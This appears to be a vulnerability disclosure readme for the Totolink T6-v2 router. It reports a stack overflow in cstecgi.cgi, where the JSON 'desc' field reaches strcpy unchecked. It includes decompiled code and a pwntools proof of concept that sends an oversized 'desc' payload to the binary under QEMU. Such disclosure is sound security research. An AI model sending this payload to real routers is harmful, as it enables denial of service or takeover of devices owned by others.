

[main](#) [IoT-vuln](#) / [Totolink](#) / [T6-v2](#) / [3.setWiFiAcIRules](#) /

d1tto add totolink T6-v2 ...

on May 29 [History](#)

..



img

6 months ago



readme.md

6 months ago



readme.md

## Overview

- The device's official website: [http://www.totolink.cn/home/menu/detail.html?menu\\_listtpl=products&id=16&ids=33](http://www.totolink.cn/home/menu/detail.html?menu_listtpl=products&id=16&ids=33)
- Firmware download website: [http://www.totolink.cn/home/menu/detail.html?menu\\_listtpl=download&id=16&ids=36](http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=16&ids=36)

## Affected version

T6-V2 V4.1.9cu.5179\_B20201015

## Vulnerability details

The vulnerability exists in the router's WEB component. `/web_cste/cgi-bin/cstecgi.cgi FUN_004137a4` (at address `0x4137a4`) gets the JSON parameter `desc`, but without checking its length, copies it directly to local variables in the stack, causing stack overflow:

```

67     apmib_set(0x34,local_20);
68     FUN_00422298(&local_70);
69     apmib_get(0x16,&local_8c);
70     apmib_set(0x34,local_20);
71     FUN_00422298(&local_78);
72 }
73 else {
74     pcVar3 = (char *)websGetVar(param_1,"mac","");
75     __src = (char *)websGetVar(param_1,"desc","");
76     if (iVar4 == 1) {
77         iVar4 = 0;
78         cVar1 = *pcVar3;
79         while (cVar1 != '\0') {
80             if (cVar1 != ':') {
81                 *(char *)((int)&local_88 + iVar4) = cVar1;
82                 iVar4 = iVar4 + 1;
83             }
84             pcVar7 = pcVar3 + 1;
85             pcVar3 = pcVar3 + 1;
86             cVar1 = *pcVar7;
87         }
88         if ((char)local_88 == '\0') {
89 LAB_00413bac:
90             FUN_00423e98("0","reserv");
91             return 1;
92         }
93         sVar6 = strlen((char *)&local_88);
94         FUN_004232bc(&local_88,auStack320,sVar6);
95         strcpy(acStack314,__src);
96         apmib_set(0x20038,auStack320);
97         apmib_set(0x10037,auStack320);
98         FUN_00422298(&local_70);

```

## PoC

```

from pwn import *
import json

data = {
    "topicurl": "setting/setWiFiAclRules",
    "addEffect": "1",
    "mac": "12:34:56:78",
    "desc": 'A'*0x500,
}

data = json.dumps(data)
print(data)

```

```
argv = [  
    "qemu-mipsel-static",  
    "-g", "1234",  
    "-L", "./root/",  
    "-E", "CONTENT_LENGTH={}".format(len(data)),  
    "-E", "REMOTE_ADDR=192.168.2.1",  
    "./cstecgi.cgi"  
]  
  
a = process(argv=argv)  
a.sendline(data.encode())  
  
a.interactive()
```